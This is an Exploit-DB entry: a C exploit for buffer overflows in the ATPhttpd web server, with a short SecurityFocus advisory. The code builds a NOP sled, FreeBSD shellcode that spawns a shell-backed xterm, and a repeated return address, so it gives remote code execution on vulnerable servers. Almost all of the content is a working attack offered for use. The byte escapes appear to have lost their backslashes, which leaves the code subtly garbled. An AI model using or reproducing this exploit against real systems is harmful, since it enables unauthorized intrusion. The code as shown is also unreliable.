https://www.exploit-db.com/exploits/21614

漏洞细节尚未披露

/*
source: http://www.securityfocus.com/bid/5215/info

ATPhttpd is a small webserver designed for high-performance. It was developed by Yann Ramin.

There exist several exploitable buffer overflow conditions in ATPhttpd. Remote attackers may levarage these vulnerabilities to gain access on affected servers. 
*/

/* atphttpd exploit.
 / The exploit sucks, if you get it wrong the first time the server just dies
 / so I didnt bother adding any offset argument to the exploit. Also if you 
 / change the IP addy you may have to change the alignment a little.   
 /
 / http://www.badc0ded.com 
*/

#define ret "x78xf5xbfxbf"
char FreeBSD[]=		 /* stolen lsd-pl.net shellcode	   */  	
  "xebx25"             /* jmp     <cmdshellcode+39>      */
  "x59"                 /* popl    %ecx                   */
  "x31xc0"             /* xorl    %eax,%eax              */
  "x50"                 /* pushl   %eax                   */
  "x68""//sh"           /* pushl   $0x68732f2f            */
  "x68""/bin"           /* pushl   $0x6e69622f            */
  "x89xe3"             /* movl    %esp,%ebx              */
  "x50"                 /* pushl   %eax                   */
  "x66x68""-c"         /* pushw   $0x632d                */
  "x89xe7"             /* movl    %esp,%edi              */
  "x50"                 /* pushl   %eax                   */
  "x51"                 /* pushl   %ecx                   */
  "x57"                 /* pushl   %edi                   */
  "x53"                 /* pushl   %ebx                   */
  "x89xe7"             /* movl    %esp,%edi              */
  "x50"                 /* pushl   %eax                   */
  "x57"                 /* pushl   %edi                   */
  "x53"                 /* pushl   %ebx                   */
  "x50"                 /* pushl   %eax                   */
  "xb0x3b"             /* movb    $0x0b,%al              */
  "xcdx80"             /* int     $0x80                  */ 
  "xe8xd6xffxffxff" /* call    <cmdshellcode+2>       */
  "/usr/X11R6/bin/xterm -display 127.0.0.1:0;";

main ()
{
  int i;
  for (i=0;i<=501;i++) // this would be a good place to change alignment
    printf("x90");
  printf("%s",FreeBSD);
  for (i=0;i<=100;i++) 
    printf("%s",ret);
  printf("nn");
}